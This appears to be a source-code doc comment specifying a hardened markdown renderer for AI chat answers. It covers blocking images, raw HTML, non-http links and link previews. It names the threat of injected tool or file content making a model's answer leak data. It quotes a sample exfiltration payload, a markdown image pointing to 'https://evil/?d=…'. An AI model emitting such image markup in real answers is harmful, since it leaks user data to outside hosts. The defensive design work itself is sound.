The markdown of a model answer as the chat panel shows it (spec §8.2): the text a model wrote may carry what a tool result or a file put in it, so the page must load nothing because of it.

• No <img>: a picture (![alt](url)) is shown as its alt text — an outside src would send data out without a click (![](https://evil/?d=…)). The only pictures the panel shows are the user's own attachments, through their expiring addresses (PhoenixKitAgent.Attachments.url/3), never through markdown.
• No raw HTML: it is shown as text.
• A link is an http/https address only (anything else is its text), opens in a new tab with rel="noopener noreferrer nofollow", and has its domain written beside it, so a text cannot pass for another site. Letters beyond ASCII in its path are percent-encoded; a host beyond ASCII makes no link, its address is written as text beside the link's text. Nothing is fetched for a link (no preview).

The tree comes from MDEx.parse_document/2 and is written out here, every text escaped; a node this module does not know is shown by its children or its text.